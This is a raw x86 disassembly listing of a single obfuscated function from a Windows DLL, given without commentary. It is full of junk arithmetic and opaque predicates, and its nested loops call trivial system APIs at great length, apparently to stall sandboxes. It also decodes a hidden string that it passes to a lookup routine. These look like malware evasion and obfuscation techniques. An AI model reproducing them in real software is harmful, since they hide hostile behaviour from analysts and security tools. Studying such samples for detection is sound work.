mov dword [ebp - 0xa0], eax
cmp dword [ebp - 0xa0], 4
jge 0x1003d6a9
mov eax, dword [ebp - 0xa0]
mov dword [ebp + eax*4 - 0x1d44], 0x942fafec
jmp 0x1003d680
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x7b0], 0
je 0x1003d7d2
cmp dword [ebp - 0x110], 0
je 0x1003d6e4
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x950], eax
push 1
lea ecx, [ebp - 0x16c8]
call fcn.10025597
mov ecx, dword [ebp - 0x950]
mov dword [eax], ecx
push 1
lea ecx, [ebp - 0x16c8]
call fcn.10025597
mov ecx, dword [ebp - 0x50]
imul ecx, dword [eax]
test ecx, ecx
jne 0x1003d713
cmp dword [ebp - 0x50], 0
jne 0x1003d713
mov eax, 0xb11f3813
test eax, eax
jne 0x1003d713
and dword [ebp - 0x1098], 0
jmp 0x1003d71d
mov dword [ebp - 0x1098], 1
mov eax, dword [ebp - 0x110]
mov dword [ebp - 0x1b38], eax
mov eax, 0xfffc
cmp eax, 0x4c57
jbe 0x1003d741
mov dword [ebp - 0xeb0], 1
jmp 0x1003d748
and dword [ebp - 0xeb0], 0
mov eax, dword [ebp - 0xeb0]
sub eax, dword [ebp - 0x110]
je 0x1003d76b
mov eax, 0x30b9
test eax, eax
je 0x1003d76b
mov dword [ebp - 0x1404], 1
jmp 0x1003d772
and dword [ebp - 0x1404], 0
mov eax, dword [ebp - 0x100]
mov dword [ebp - 0x19f0], eax
cmp dword [ebp - 0x50], 0xf3b8cff2
ja 0x1003d793
mov dword [ebp - 0x958], 1
jmp 0x1003d79a
and dword [ebp - 0x958], 0
mov eax, dword [ebp - 0x100]
cmp dword [ebp - 0x958], eax
je 0x1003d7b4
mov dword [ebp - 0xc68], 1
jmp 0x1003d7bb
and dword [ebp - 0xc68], 0
xor eax, eax
inc eax
sub eax, dword [ebp - 0xc68]
je 0x1003d7d2
mov dword [ebp - 0x960], 1
jmp 0x1003d7d9
and dword [ebp - 0x960], 0
imul eax, dword [ebp - 0x960], 0xfff9
cmp eax, 0x3ed2
jge 0x1003d7f6
mov dword [ebp - 0xdf0], 1
jmp 0x1003d7fd
and dword [ebp - 0xdf0], 0
push 1
lea ecx, [ebp - 0x16b0]
call fcn.10025597
mov ecx, dword [ebp - 0xdf0]
mov dword [eax], ecx
mov dword [ebp - 0x110], 0
jmp 0x1003d82b
mov eax, dword [ebp - 0x110]
inc eax
mov dword [ebp - 0x110], eax
cmp dword [ebp - 0x110], 1
jg 0x1003da54
mov dword [ebp - 0x10b0], 1
mov dword [ebp - 0x684], 0
jmp 0x1003d85b
mov eax, dword [ebp - 0x684]
inc eax
mov dword [ebp - 0x684], eax
cmp dword [ebp - 0x684], 4
jge 0x1003d877
mov eax, dword [ebp - 0x684]
mov dword [ebp + eax*4 - 0x1898], 1
jmp 0x1003d84e
mov dword [ebp - 0x100], 0
jmp 0x1003d890
mov eax, dword [ebp - 0x100]
inc eax
mov dword [ebp - 0x100], eax
cmp dword [ebp - 0x100], 1
jg 0x1003d8c4
mov dword [ebp - 0x10a0], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x1898]
mov dword [ebp - 0x1c8], eax
mov eax, dword [ebp - 0x1c8]
mov dword [ebp - 0x10a0], eax
jmp 0x1003d883
push 0
lea ecx, [ebp - 0x16c8]
call fcn.10025597
mov eax, dword [eax]
mov dword [ebp - 0x37c], eax
cmp dword [ebp - 0x37c], 0
je 0x1003d957
mov eax, dword [ebp - 0x50]
push 4
pop ecx
shl ecx, 0
imul eax, dword [ebp + ecx - 0x7b0]
add eax, 0xa4122e7d
mov dword [ebp - 0x968], eax
push 4
pop eax
imul eax, eax, 3
mov ecx, dword [ebp - 0x968]
mov dword [ebp + eax - 0x1d44], ecx
mov eax, dword [ebp - 0x100]
cmp dword [ebp - 0x968], eax
je 0x1003d92b
mov dword [ebp - 0x1484], 1
jmp 0x1003d932
and dword [ebp - 0x1484], 0
mov eax, 0x1d5762cc
test eax, eax
jne 0x1003d944
mov eax, 0xa67b1108
test eax, eax
je 0x1003d957
push 0xfffffffffffffffe
pop eax
test eax, eax
je 0x1003d957
mov dword [ebp - 0xc70], 1
jmp 0x1003d95e
and dword [ebp - 0xc70], 0
mov dword [ebp - 0x1c8], 0xfffffffd
mov eax, dword [ebp - 0x1c8]
cmp eax, dword [ebp - 0xc70]
jle 0x1003d982
mov dword [ebp - 0x970], 1
jmp 0x1003d989
and dword [ebp - 0x970], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x7b0]
cmp dword [ebp - 0x970], eax
jle 0x1003d9aa
mov dword [ebp - 0xf64], 1
jmp 0x1003d9b1
and dword [ebp - 0xf64], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x1898]
push 4
pop ecx
shl ecx, 1
mov edx, dword [ebp - 0xf64]
sub edx, dword [ebp + ecx - 0x1898]
add eax, edx
cmp eax, 0xaada
je 0x1003d9f5
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x1898], 0
je 0x1003d9f5
mov dword [ebp - 0x10a8], 1
jmp 0x1003d9fc
and dword [ebp - 0x10a8], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x7b0]
mov dword [ebp - 0x1b40], eax
cmp dword [ebp - 0x1410], 0
jne 0x1003da33
push 0
lea ecx, [ebp - 0x16b0]
call fcn.10025597
cmp dword [eax], 0
jne 0x1003da33
and dword [ebp - 0x978], 0
jmp 0x1003da3d
mov dword [ebp - 0x978], 1
mov eax, dword [ebp - 0x110]
add eax, dword [ebp - 0x978]
mov dword [ebp - 0x10b0], eax
jmp 0x1003d81e
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x16b0]
call fcn.1002557b
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x16c8]
call fcn.1002557b
jmp 0x1003d47e
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x7b0], 1
je 0x1003da93
mov dword [ebp - 0xc78], 1
jmp 0x1003da9a
and dword [ebp - 0xc78], 0
mov eax, dword [ebp - 0x1c8]
cmp eax, dword [ebp - 0xc78]
je 0x1003dab4
mov dword [ebp - 0x148c], 1
jmp 0x1003dabb
and dword [ebp - 0x148c], 0
mov eax, dword [ebp - 0x100]
mov dword [ebp - 0x1a00], eax
mov eax, dword [ebp - 0x50]
cmp dword [ebp - 0x37c], eax
jg 0x1003dade
mov dword [ebp - 0x980], 1
jmp 0x1003dae5
and dword [ebp - 0x980], 0
mov eax, dword [ebp - 0x37c]
add eax, dword [ebp - 0x980]
push 4
pop ecx
imul ecx, ecx, 0
imul eax, dword [ebp + ecx - 0x7b0]
cmp dword [ebp - 0x50], eax
jge 0x1003db10
mov dword [ebp - 0xdf8], 1
jmp 0x1003db17
and dword [ebp - 0xdf8], 0
mov eax, dword [ebp - 0xdf8]
mov dword [ebp - 0x1c8], eax
mov dword [ebp - 0x1e8], 0x571177e8
mov dword [ebp - 0x10b8], 0x68906353
mov dword [ebp - 0x1e8], 0
jmp 0x1003db50
mov eax, dword [ebp - 0x1e8]
dec eax
mov dword [ebp - 0x1e8], eax
cmp dword [ebp - 0x1e8], 0xfffffff3
je 0x1003dc80
mov dword [ebp - 0x1a8], 0xfffffffc
mov dword [ebp - 0x1a8], 0xfffffff3
jmp 0x1003db80
mov eax, dword [ebp - 0x1a8]
inc eax
mov dword [ebp - 0x1a8], eax
cmp dword [ebp - 0x1a8], 0xd
jl 0x1003dc7b
mov dword [ebp - 0x9a0], 6
mov dword [ebp - 0xc80], 0xfffffffe
mov dword [ebp - 0x998], 0xfffffffd
xor eax, eax
jne 0x1003dbca
cmp dword [ebp - 0x1a8], 0
jne 0x1003dbca
cmp dword [ebp - 0x1e8], 0
jne 0x1003dbca
and dword [ebp - 0x988], 0
jmp 0x1003dbd4
mov dword [ebp - 0x988], 1
mov eax, dword [ebp - 0x988]
mov dword [ebp - 0xc80], eax
mov eax, dword [ebp - 0x1a8]
cmp dword [ebp - 0xc80], eax
jge 0x1003dbfa
mov dword [ebp - 0x990], 1
jmp 0x1003dc01
and dword [ebp - 0x990], 0
cmp dword [ebp - 0x990], 0
jne 0x1003dc16
mov dword [ebp - 0xeb8], 1
jmp 0x1003dc1d
and dword [ebp - 0xeb8], 0
mov eax, dword [ebp - 0xeb8]
mov dword [ebp - 0x998], eax
mov eax, 0x6ee4
sub eax, dword [ebp - 0x998]
imul ecx, dword [ebp - 0x9a0], 0xfffffffd
sub ecx, eax
sub ecx, 0x208a
cmp ecx, 0xb7a7
jl 0x1003dc57
mov dword [ebp - 0xc88], 1
jmp 0x1003dc5e
and dword [ebp - 0xc88], 0
mov eax, dword [ebp - 0xc88]
sub eax, dword [ebp - 0x1e8]
add eax, dword [ebp - 0x9a0]
mov dword [ebp - 0x10b8], eax
jmp 0x1003db73
jmp 0x1003db43
mov byte [ebp - 0x288], 0xb
mov byte [ebp - 0x287], 0x57
mov byte [ebp - 0x286], 0xc
mov byte [ebp - 0x285], 0x2f
mov byte [ebp - 0x284], 5
mov byte [ebp - 0x283], 0x25
mov byte [ebp - 0x282], 6
mov byte [ebp - 0x281], 1
mov byte [ebp - 0x280], 9
mov byte [ebp - 0x27f], 0x1d
mov byte [ebp - 0x27e], 0
mov byte [ebp - 0x27d], 0x29
mov byte [ebp - 0x27c], 3
mov byte [ebp - 0x27b], 0x11
mov byte [ebp - 0x27a], 0xa
mov byte [ebp - 0x279], 0x13
mov byte [ebp - 0x278], 4
mov byte [ebp - 0x277], 0x20
mov byte [ebp - 0x276], 2
mov byte [ebp - 0x275], 0x11
mov byte [ebp - 0x274], 8
mov byte [ebp - 0x273], 0x1b
mov byte [ebp - 0x272], 7
mov byte [ebp - 0x271], 6
mov byte [ebp - 0x270], 1
mov byte [ebp - 0x26f], 0xc
mov dword [ebp - 0x9b8], 9
mov dword [ebp - 0x7c], 0x950ba1bf
push 2
lea ecx, [ebp - 0x159c]
call fcn.100254f9
mov dword [ebp - 4], 0xa
mov dword [ebp - 0xf3c], 0x91e60e77
push 1
lea ecx, [ebp - 0x1870]
call fcn.100254f9
mov byte [ebp - 4], 0xb
mov dword [ebp - 0x10c0], 0xffffffff
mov dword [ebp - 0xc8], 0
jmp 0x1003dd99
mov eax, dword [ebp - 0xc8]
inc eax
mov dword [ebp - 0xc8], eax
cmp dword [ebp - 0xc8], 2
jge 0x1003ddbb
push dword [ebp - 0xc8]
lea ecx, [ebp - 0x159c]
call fcn.10025597
mov dword [eax], 0x3817
jmp 0x1003dd8c
mov dword [ebp - 0xc8], 0
jmp 0x1003ddd4
mov eax, dword [ebp - 0xc8]
inc eax
mov dword [ebp - 0xc8], eax
cmp dword [ebp - 0xc8], 1
jge 0x1003ddf6
push dword [ebp - 0xc8]
lea ecx, [ebp - 0x1870]
call fcn.10025597
mov dword [eax], 0x50dfa014
jmp 0x1003ddc7
cmp dword [ebp - 0x7c], 0
je 0x1003df00
mov esi, dword [ebp - 0x7c]
add esi, 4
push 0
lea ecx, [ebp - 0x159c]
call fcn.10025597
cmp esi, dword [eax]
jne 0x1003de23
mov dword [ebp - 0xe00], 1
jmp 0x1003de2a
and dword [ebp - 0xe00], 0
mov esi, dword [ebp - 0x7c]
push 0
lea ecx, [ebp - 0x159c]
call fcn.10025597
push 1
lea ecx, [ebp - 0x159c]
call fcn.10025597
mov ecx, dword [ebp - 0x7c]
cmp dword [eax], ecx
jl 0x1003de5a
mov dword [ebp - 0x9a8], 1
jmp 0x1003de61
and dword [ebp - 0x9a8], 0
mov eax, dword [ebp - 0x7c]
cmp eax, dword [ebp - 0x9a8]
jle 0x1003de7b
cmp dword [ebp - 0x7c], 0
jne 0x1003de7b
and dword [ebp - 0xc90], 0
jmp 0x1003de85
mov dword [ebp - 0xc90], 1
mov eax, dword [ebp - 0x7c]
cmp dword [ebp - 0xc90], eax
jl 0x1003de9c
mov dword [ebp - 0x9b0], 1
jmp 0x1003dea3
and dword [ebp - 0x9b0], 0
mov eax, dword [ebp - 0xf3c]
cmp dword [ebp - 0x9b0], eax
jle 0x1003dec6
mov eax, 0x64c9d8d9
test eax, eax
je 0x1003dec6
mov dword [ebp - 0x141c], 1
jmp 0x1003decd
and dword [ebp - 0x141c], 0
mov eax, dword [ebp - 0xf3c]
mov dword [ebp - 0x1b48], eax
mov eax, dword [ebp - 0x7c]
mov dword [ebp - 0x1a10], eax
push 0
lea ecx, [ebp - 0x1870]
call fcn.10025597
cmp dword [eax], 0
je 0x1003df00
mov dword [ebp - 0xc98], 1
jmp 0x1003df07
and dword [ebp - 0xc98], 0
mov dword [ebp - 0x9b8], 0xc184c506
mov eax, dword [ebp - 0x9b8]
sub eax, dword [ebp - 0xc98]
mov dword [ebp - 0x7c], eax
mov eax, dword [ebp - 0x7c]
mov dword [ebp - 0x10c0], eax
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x1870]
call fcn.1002557b
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x159c]
call fcn.1002557b
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0x288]
or eax, 0x2f
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0x288]
and ecx, 0x2f
sub eax, ecx
xor ecx, ecx
inc ecx
imul ecx, ecx, 0
movzx ecx, byte [ebp + ecx - 0x288]
mov byte [ebp + ecx - 0xff0], al
mov dword [ebp - 0x54], 1
mov dword [ebp - 0xa8], 0xa37bb008
mov dword [ebp - 0x1b50], 0
mov dword [ebp - 0x51c], 0
jmp 0x1003dfb4
mov eax, dword [ebp - 0x51c]
inc eax
mov dword [ebp - 0x51c], eax
cmp dword [ebp - 0x51c], 4
jge 0x1003dfd0
mov eax, dword [ebp - 0x51c]
mov dword [ebp + eax*4 - 0x163c], 0xa3fc4b03
jmp 0x1003dfa7
cmp dword [ebp - 0x54], 2
jae 0x1003dfe2
mov dword [ebp - 0x9c0], 1
jmp 0x1003dfe9
and dword [ebp - 0x9c0], 0
mov eax, dword [ebp - 0x54]
cmp dword [ebp - 0x9c0], eax
jg 0x1003e000
mov dword [ebp - 0xe08], 1
jmp 0x1003e007
and dword [ebp - 0xe08], 0
mov eax, dword [ebp - 0x54]
cmp dword [ebp - 0x54], eax
jg 0x1003e01b
mov dword [ebp - 0x79c], 1
jmp 0x1003e022
and dword [ebp - 0x79c], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x79c]
mov dword [ebp + eax - 0x163c], ecx
mov eax, dword [ebp - 0x79c]
mov dword [ebp - 0xa8], eax
mov eax, dword [ebp - 0xa8]
cmp dword [ebp - 0xe08], eax
jne 0x1003e05b
mov dword [ebp - 0x9c8], 1
jmp 0x1003e062
and dword [ebp - 0x9c8], 0
mov eax, dword [ebp - 0x54]
cmp dword [ebp - 0x9c8], eax
jge 0x1003e079
mov dword [ebp - 0xca0], 1
jmp 0x1003e080
and dword [ebp - 0xca0], 0
mov eax, dword [ebp - 0x54]
cmp dword [ebp - 0xca0], eax
je 0x1003e097
mov dword [ebp - 0x9d0], 1
jmp 0x1003e09e
and dword [ebp - 0x9d0], 0
mov eax, dword [ebp - 0x9d0]
neg eax
cmp eax, dword [ebp - 0x54]
jne 0x1003e0d6
mov byte [ebp - 0x132], 0
movzx eax, byte [ebp - 0x132]
test eax, eax
je 0x1003e0d1
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_SetWindowPos]
jmp 0x1003e442
mov dword [ebp - 0x54], 0
jmp 0x1003e0e6
mov eax, dword [ebp - 0x54]
inc eax
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 0x38
jle 0x1003e442
mov dword [ebp - 0x1494], 0xfc0233fd
mov dword [ebp - 0x1b0], 0x1d68
mov dword [ebp - 0xa8], 3
jmp 0x1003e11d
mov eax, dword [ebp - 0xa8]
dec eax
mov dword [ebp - 0xa8], eax
cmp dword [ebp - 0xa8], 0
jl 0x1003e43d
mov dword [ebp - 0x1d0], 5
mov dword [ebp - 0x1d0], 0
jmp 0x1003e14d
mov eax, dword [ebp - 0x1d0]
inc eax
mov dword [ebp - 0x1d0], eax
cmp dword [ebp - 0x1d0], 3
jg 0x1003e438
mov eax, dword [ebp - 0xa8]
cmp dword [ebp + eax*4 - 0x163c], 0
jne 0x1003e183
mov eax, dword [ebp - 0x1b0]
mov dword [ebp - 0x1a20], eax
cmp dword [ebp - 0x1494], 5
jge 0x1003e2cf
mov dword [ebp - 0xec0], 0x6c35
mov dword [ebp - 0x1428], 0x10009f04
cmp dword [ebp - 0xec0], 0x6d53
jle 0x1003e25a
and dword [ebp - 0x384], 0
jmp 0x1003e1bd
mov eax, dword [ebp - 0x384]
inc eax
mov dword [ebp - 0x384], eax
cmp dword [ebp - 0x384], 0x4258
jge 0x1003e25a
and dword [ebp - 0x5ec], 0
jmp 0x1003e1e3
mov eax, dword [ebp - 0x5ec]
inc eax
mov dword [ebp - 0x5ec], eax
cmp dword [ebp - 0x5ec], 0x167a
jge 0x1003e255
mov eax, dword [ebp - 0x384]
mov ecx, dword [ebp - 0x5ec]
sar eax, cl
cdq
mov dword [ebp - 0x1214], eax
mov dword [ebp - 0x1210], edx
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultLangID]
mov word [ebp - 0x14e4], ax
push dword [ebp - 0x1210]
push dword [ebp - 0x1214]
lea ecx, [ebp - 0x22fc]
call fcn.1001147b
pop ecx
pop ecx
mov dword [ebp - 0x10c8], eax
mov ecx, dword [ebp - 0x10c8]
call fcn.100252e9
push eax
call fcn.1008287d
pop ecx
lea ecx, [ebp - 0x22fc]
call fcn.100252df
jmp 0x1003e1d6
jmp 0x1003e1b0
cmp dword [ebp - 0xec0], 0x69ec
jge 0x1003e272
push dword [ebp - 0x1428]
call fcn.1008287d
pop ecx
mov eax, dword [ebp - 0xa8]
mov ecx, dword [ebp - 0xa8]
mov eax, dword [ebp + eax*4 - 0x163c]
mov dword [ebp + ecx*4 - 0x163c], eax
mov dword [ebp - 0x1b0], 0
jmp 0x1003e2a5
mov eax, dword [ebp - 0x1b0]
inc eax
mov dword [ebp - 0x1b0], eax
cmp dword [ebp - 0x1b0], 3
jg 0x1003e2ca
mov eax, dword [ebp - 0x1d0]
mov ecx, dword [ebp - 0x1b0]
mov eax, dword [ebp + eax*4 - 0x163c]
mov dword [ebp + ecx*4 - 0x163c], eax
jmp 0x1003e298
jmp 0x1003e433
mov dword [ebp - 0x9d8], 0x74d4
mov dword [ebp - 0x149c], 0x10009f34
cmp dword [ebp - 0x9d8], 0x787b
jle 0x1003e40a
and dword [ebp - 0x38c], 0
jmp 0x1003e309
mov eax, dword [ebp - 0x38c]
inc eax
mov dword [ebp - 0x38c], eax
cmp dword [ebp - 0x38c], 0x7ff6
jge 0x1003e40a
and dword [ebp - 0x524], 0
jmp 0x1003e32f
mov eax, dword [ebp - 0x524]
inc eax
mov dword [ebp - 0x524], eax
cmp dword [ebp - 0x524], 0x790
jge 0x1003e405
and dword [ebp - 0x394], 0
jmp 0x1003e355
mov eax, dword [ebp - 0x394]
inc eax
mov dword [ebp - 0x394], eax
cmp dword [ebp - 0x394], 0x5de2
jge 0x1003e400
and dword [ebp - 0x654], 0
jmp 0x1003e37b
mov eax, dword [ebp - 0x654]
inc eax
mov dword [ebp - 0x654], eax
cmp dword [ebp - 0x654], 0x673a
jge 0x1003e3fb
mov eax, dword [ebp - 0x38c]
add eax, dword [ebp - 0x524]
mov ecx, dword [ebp - 0x394]
add ecx, dword [ebp - 0x654]
or eax, ecx
cdq
mov dword [ebp - 0x1220], eax
mov dword [ebp - 0x121c], edx
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x1b58], eax
push dword [ebp - 0x121c]
push dword [ebp - 0x1220]
lea ecx, [ebp - 0x1f48]
call fcn.1001147b
pop ecx
pop ecx
mov dword [ebp - 0x10d0], eax
mov ecx, dword [ebp - 0x10d0]
call fcn.100252e9
push eax
call fcn.1008287d
pop ecx
lea ecx, [ebp - 0x1f48]
call fcn.100252df
jmp 0x1003e36e
jmp 0x1003e348
jmp 0x1003e322
jmp 0x1003e2fc
cmp dword [ebp - 0x9d8], 0x720b
jge 0x1003e422
push dword [ebp - 0x149c]
call fcn.1008287d
pop ecx
mov eax, dword [ebp - 0x1d0]
mov dword [ebp + eax*4 - 0x163c], 0xb275cf8b
jmp 0x1003e140
jmp 0x1003e110
jmp 0x1003e0df
mov dword [ebp - 0x5c], 2
and dword [ebp - 0x708], 0
jmp 0x1003e45a
mov eax, dword [ebp - 0x5c]
inc eax
inc eax
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 0x1a
jae 0x1003e744
mov dword [ebp - 0xca8], 0x6762
mov dword [ebp - 0x1434], 0x10009f68
cmp dword [ebp - 0xca8], 0x6836
jle 0x1003e56c
and dword [ebp - 0x39c], 0
jmp 0x1003e49e
mov eax, dword [ebp - 0x39c]
inc eax
mov dword [ebp - 0x39c], eax
cmp dword [ebp - 0x39c], 0x4b7c
jge 0x1003e56c
and dword [ebp - 0x52c], 0
jmp 0x1003e4c4
mov eax, dword [ebp - 0x52c]
inc eax
mov dword [ebp - 0x52c], eax
cmp dword [ebp - 0x52c], 0x3629
jge 0x1003e567
and dword [ebp - 0x3a4], 0
jmp 0x1003e4ea
mov eax, dword [ebp - 0x3a4]
inc eax
mov dword [ebp - 0x3a4], eax
cmp dword [ebp - 0x3a4], 0x566
jge 0x1003e562
mov eax, dword [ebp - 0x39c]
and eax, dword [ebp - 0x52c]
or eax, dword [ebp - 0x3a4]
cdq
mov dword [ebp - 0x122c], eax
mov dword [ebp - 0x1228], edx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 0x1a30], eax
push dword [ebp - 0x1228]
push dword [ebp - 0x122c]
lea ecx, [ebp - 0x217c]
call fcn.1001147b
pop ecx
pop ecx
mov dword [ebp - 0x10d8], eax
mov ecx, dword [ebp - 0x10d8]
call fcn.100252e9
push eax
call fcn.1008287d
pop ecx
lea ecx, [ebp - 0x217c]
call fcn.100252df
jmp 0x1003e4dd
jmp 0x1003e4b7
jmp 0x1003e491
mov dword [ebp - 0x3ac], 0xe1757117
mov dword [ebp - 0x5f4], 0
jmp 0x1003e58f
mov eax, dword [ebp - 0x5f4]
inc eax
mov dword [ebp - 0x5f4], eax
cmp dword [ebp - 0x5f4], 2
jge 0x1003e5ab
mov eax, dword [ebp - 0x5f4]
mov dword [ebp + eax*4 - 0x1c4c], 0xffffffff
jmp 0x1003e582
mov dword [ebp - 0x3ac], 0xffffffe8
jmp 0x1003e5c4
mov eax, dword [ebp - 0x3ac]
inc eax
mov dword [ebp - 0x3ac], eax
cmp dword [ebp - 0x3ac], 2
jne 0x1003e69f
push 2
lea ecx, [ebp - 0x15ac]
call fcn.100254f9
mov dword [ebp - 4], 0xc
mov dword [ebp - 0x1fc], 0x47909b79
mov dword [ebp - 0x28c], 0
jmp 0x1003e608
mov eax, dword [ebp - 0x28c]
inc eax
mov dword [ebp - 0x28c], eax
cmp dword [ebp - 0x28c], 2
jge 0x1003e62a
push dword [ebp - 0x28c]
lea ecx, [ebp - 0x15ac]
call fcn.10025597
mov dword [eax], 0xccce1e2c
jmp 0x1003e5fb
push 0
lea ecx, [ebp - 0x15ac]
call fcn.10025597
push 0
lea ecx, [ebp - 0x15ac]
call fcn.10025597
push 4
pop ecx
imul ecx, ecx, 0
mov eax, dword [eax]
mov dword [ebp + ecx - 0x1c4c], eax
mov dword [ebp - 0x1fc], 0
jmp 0x1003e66c
mov eax, dword [ebp - 0x1fc]
inc eax
mov dword [ebp - 0x1fc], eax
cmp dword [ebp - 0x1fc], 2
jge 0x1003e68b
push dword [ebp - 0x1fc]
lea ecx, [ebp - 0x15ac]
call fcn.10025597
or dword [eax], 0xffffffff
jmp 0x1003e65f
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x15ac]
call fcn.1002557b
jmp 0x1003e5b7
cmp dword [ebp - 0xca8], 0x654c
jge 0x1003e6b7
push dword [ebp - 0x1434]
call fcn.1008287d
pop ecx
mov eax, dword [ebp - 0x5c]
movzx eax, byte [ebp + eax - 0x287]
mov ecx, dword [ebp - 0x5c]
sub ecx, dword [ebp - 0x708]
movzx ecx, byte [ebp + ecx - 0x28a]
movsx ecx, byte [ebp + ecx - 0xff0]
add eax, ecx
mov ecx, dword [ebp - 0x5c]
movzx ecx, byte [ebp + ecx - 0x287]
mov edx, dword [ebp - 0x5c]
sub edx, dword [ebp - 0x708]
movzx edx, byte [ebp + edx - 0x28a]
movsx edx, byte [ebp + edx - 0xff0]
and ecx, edx
sub eax, ecx
mov ecx, dword [ebp - 0x5c]
movzx ecx, byte [ebp + ecx - 0x287]
mov edx, dword [ebp - 0x5c]
sub edx, dword [ebp - 0x708]
movzx edx, byte [ebp + edx - 0x28a]
movsx edx, byte [ebp + edx - 0xff0]
and ecx, edx
sub eax, ecx
mov ecx, dword [ebp - 0x5c]
movzx ecx, byte [ebp + ecx - 0x288]
mov byte [ebp + ecx - 0xff0], al
jmp 0x1003e452
xor eax, eax
inc eax
imul eax, eax, 0xd
mov byte [ebp + eax - 0xff0], 0
lea eax, [ebp - 0xff0]
push eax
lea ecx, [ebp - 0x1f78]
call fcn.1004d56d
mov dword [ebp - 0x10e0], eax
mov eax, dword [ebp - 0x10e0]
mov dword [ebp - 0x14a4], eax
mov dword [ebp - 4], 0xd
mov edx, dword [ebp - 0xd70]
mov ecx, dword [ebp - 0x14a4]
call fcn.10027469
mov dword [0x1009a00c], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1f78]
call fcn.10025466
mov dword [ebp - 0x164], 0
mov dword [ebp - 0x1b60], 0x50cfdfe9
mov dword [ebp - 0x9e0], 0x11d3
mov dword [ebp - 0x1440], 0x10009f7c
cmp dword [ebp - 0x9e0], 0x14ac
jle 0x1003e88b
and dword [ebp - 0x534], 0
jmp 0x1003e7f0
mov eax, dword [ebp - 0x534]
inc eax
mov dword [ebp - 0x534], eax
cmp dword [ebp - 0x534], 0x159d
jge 0x1003e88b
and dword [ebp - 0x3b4], 0
jmp 0x1003e816
mov eax, dword [ebp - 0x3b4]
inc eax
mov dword [ebp - 0x3b4], eax
cmp dword [ebp - 0x3b4], 0x33e3
jge 0x1003e886
mov eax, dword [ebp - 0x534]
or eax, dword [ebp - 0x3b4]
cdq
mov dword [ebp - 0x1238], eax
mov dword [ebp - 0x1234], edx
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultLangID]
mov word [ebp - 0x14ec], ax
push dword [ebp - 0x1234]
push dword [ebp - 0x1238]
lea ecx, [ebp - 0x229c]
call fcn.1001147b
pop ecx
pop ecx
mov dword [ebp - 0x10e8], eax
mov ecx, dword [ebp - 0x10e8]
call fcn.100252e9
push eax
call fcn.1008287d
pop ecx
lea ecx, [ebp - 0x229c]
call fcn.100252df
jmp 0x1003e809
jmp 0x1003e7e3
mov dword [ebp - 0x1a40], 0x91d0b6bd
cmp dword [ebp - 0x9e0], 0x1125
jge 0x1003e8ad
push dword [ebp - 0x1440]
call fcn.1008287d
pop ecx
mov dword [ebp - 0x1b68], 1
mov dword [ebp - 0x1100], 0
mov dword [ebp - 0xe10], 0x3e7
mov dword [ebp - 0x14ac], 0x10009fbc
cmp dword [ebp - 0xe10], 0x7bb
jle 0x1003e9cd
and dword [ebp - 0x6ac], 0
jmp 0x1003e8fb
mov eax, dword [ebp - 0x6ac]
inc eax
mov dword [ebp - 0x6ac], eax
cmp dword [ebp - 0x6ac], 0x24a2
jge 0x1003e9cd
and dword [ebp - 0x3bc], 0
jmp 0x1003e921
mov eax, dword [ebp - 0x3bc]
inc eax
mov dword [ebp - 0x3bc], eax
cmp dword [ebp - 0x3bc], 0x1b0f
jge 0x1003e9c8
and dword [ebp - 0x53c], 0
jmp 0x1003e947
mov eax, dword [ebp - 0x53c]
inc eax
mov dword [ebp - 0x53c], eax
cmp dword [ebp - 0x53c], 0x29a8
jge 0x1003e9c3
mov eax, dword [ebp - 0x6ac]
mov ecx, dword [ebp - 0x3bc]
sar eax, cl
mov ecx, dword [ebp - 0x53c]
shl eax, cl
cdq
mov dword [ebp - 0x1244], eax
mov dword [ebp - 0x1240], edx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [ebp - 0x1a50], eax
push dword [ebp - 0x1240]
push dword [ebp - 0x1244]
lea ecx, [ebp - 0x1dec]
call fcn.1001147b
pop ecx
pop ecx
mov dword [ebp - 0x10f0], eax
mov ecx, dword [ebp - 0x10f0]
call fcn.100252e9
push eax
call fcn.1008287d
pop ecx
lea ecx, [ebp - 0x1dec]
call fcn.100252df
jmp 0x1003e93a
jmp 0x1003e914
jmp 0x1003e8ee
cmp dword [ebp - 0xe10], 0x3d1
jge 0x1003e9e5
push dword [ebp - 0x14ac]
call fcn.1008287d
pop ecx
mov dword [ebp - 0xc0], 0
jmp 0x1003e9fe
mov eax, dword [ebp - 0xc0]
inc eax
mov dword [ebp - 0xc0], eax
cmp dword [ebp - 0xc0], 4
jge 0x1003ea1a
mov eax, dword [ebp - 0xc0]
mov dword [ebp + eax*4 - 0x1c9c], 0xfff6
jmp 0x1003e9f1
mov dword [ebp - 0xc0], 0
jmp 0x1003ea33
mov eax, dword [ebp - 0xc0]
inc eax
mov dword [ebp - 0xc0], eax
cmp dword [ebp - 0xc0], 1
jge 0x1003ea4f
mov eax, dword [ebp - 0xc0]
mov dword [ebp + eax*4 - 0x1b70], 1
jmp 0x1003ea26
cmp dword [ebp - 0x164], 0
je 0x1003eb2d
mov dword [ebp - 0x23c], 1
